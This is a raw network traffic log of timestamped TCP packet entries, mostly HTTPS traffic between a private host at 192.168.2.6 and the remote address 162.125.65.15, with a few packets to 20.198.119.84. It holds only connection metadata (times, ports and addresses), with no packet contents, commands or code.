Dec 17, 2024 12:13:47.135298014 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.135358095 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.135368109 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.135392904 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.135436058 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.135436058 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.142183065 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.142231941 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.142260075 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.142272949 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.142318010 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.142318010 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.149651051 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.149704933 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.149750948 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.149764061 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.151089907 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.156959057 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.157005072 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.157087088 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.157087088 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.157094955 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.157191992 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.158472061 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.299645901 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.299678087 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.299742937 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.299757957 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.299818039 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.299818039 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.307136059 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.307173967 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.307279110 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.307279110 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.307284117 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.307389021 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.313538074 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.313572884 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.313613892 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.313627958 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.313673973 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.313673973 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.321033001 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.321062088 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.321140051 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.321140051 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.321146011 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.321233988 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.328367949 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.328402996 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.328447104 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.328461885 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.328545094 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.328545094 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.335203886 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.335239887 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.335319042 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.335324049 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.335361958 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.335361958 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.342814922 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.342844963 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.342880964 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.342888117 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.342941046 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.342941999 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.349205017 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.349237919 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.349327087 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.349327087 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.349334002 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.349396944 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.352336884 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.444152117 CET	443	49880	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:47.444246054 CET	49880	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:47.446588039 CET	49880	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:47.446607113 CET	443	49880	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:47.447395086 CET	443	49880	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:47.449568987 CET	49880	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:47.449717045 CET	49880	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:47.449727058 CET	443	49880	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:47.449984074 CET	49880	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:47.491348982 CET	443	49880	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:47.493349075 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.493377924 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.493463039 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.493485928 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.493511915 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.493542910 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.499661922 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.499691963 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.499754906 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.499763012 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.499821901 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.506975889 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.507004976 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.507074118 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.507081985 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.507124901 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.514651060 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.514678955 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.514719009 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.514727116 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.514806986 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.520951033 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.520972967 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.521018028 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.521023989 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.521059036 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.521075964 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.528862953 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.528887033 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.528927088 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.528932095 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.529014111 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.535285950 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.535310984 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.535357952 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.535363913 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.535399914 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.535425901 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.542560101 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.542582989 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.542625904 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.542632103 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.542682886 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.685662985 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.685692072 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.685746908 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.685756922 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.685777903 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.685801983 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.691787958 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.691808939 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.691844940 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.691859007 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.691910982 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.691929102 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.699549913 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.699568033 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.699619055 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.699630022 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.699662924 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.699681044 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.706763983 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.706785917 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.706826925 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.706839085 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.706871986 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.706897020 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.713102102 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.713119984 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.713181019 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.713187933 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.713222980 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.713242054 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.720963001 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.720978975 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.721019983 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.721035004 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.721060038 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.721079111 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.727507114 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.727525949 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.727566957 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.727574110 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.727612019 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.727631092 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.735001087 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.735021114 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.735100031 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.735107899 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.735120058 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.735240936 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.877582073 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.877613068 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.877693892 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.877707005 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.877763987 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.887443066 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.887475014 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.887506008 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.887514114 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.887573004 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.891280890 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.891299963 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.891359091 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.891365051 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.891408920 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.898727894 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.898756027 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.898793936 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.898801088 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.898840904 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.906260014 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.906286955 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.906326056 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.906332016 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.906378984 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.906399965 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.913182974 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.913204908 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.913290024 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.913297892 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.913342953 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.920609951 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.920635939 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.920672894 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.920691967 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.920721054 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.920746088 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.926961899 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.926989079 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.927025080 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.927031040 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:47.927107096 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:47.928291082 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.069772005 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.069802046 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.069849968 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.069864035 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.069901943 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.077181101 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.077199936 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.077250004 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.077260017 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.077311039 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.083843946 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.083924055 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.083933115 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.083962917 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.083986998 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.084007978 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.091002941 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.091058016 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.091068029 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.091085911 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.091115952 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.091147900 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.098498106 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.098560095 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.098567963 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.098592997 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.098619938 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.098640919 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.105377913 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.105424881 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.105448008 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.105458021 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.105549097 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.112925053 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.112974882 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.113004923 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.113015890 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.113056898 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.113081932 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.119268894 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.119338036 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.119373083 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.119383097 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.119395018 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.119434118 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.123395920 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.125993013 CET	443	49880	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:48.126187086 CET	443	49880	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:48.126255035 CET	49880	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:48.126463890 CET	49880	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:48.126492977 CET	443	49880	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:48.262316942 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.262370110 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.262408972 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.262420893 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.262453079 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.262468100 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.269249916 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.269273996 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.269305944 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.269315958 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.269359112 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.276058912 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.276083946 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.276120901 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.276134014 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.276160955 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.276180983 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.283277035 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.283299923 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.283349991 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.283360004 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.283389091 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.283406019 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.290597916 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.290622950 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.290663958 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.290672064 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.290699959 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.290719032 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.298057079 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.298110008 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.298127890 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.298145056 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.298167944 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.298186064 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.304977894 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.305026054 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.305049896 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.305059910 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.305094004 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.305102110 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.312498093 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.312541008 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.312570095 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.312577009 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.312606096 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.312627077 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.454988003 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.455054998 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.455096960 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.455107927 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.455173016 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.461786985 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.461837053 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.461940050 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.461940050 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.461949110 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.461994886 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.468549967 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.468574047 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.468619108 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.468626022 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.468666077 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.468684912 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.475929976 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.475954056 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.475992918 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.475999117 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.476042032 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.483041048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.483063936 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.483136892 CET	49866	443	192.168.2.6	162.125.65.15
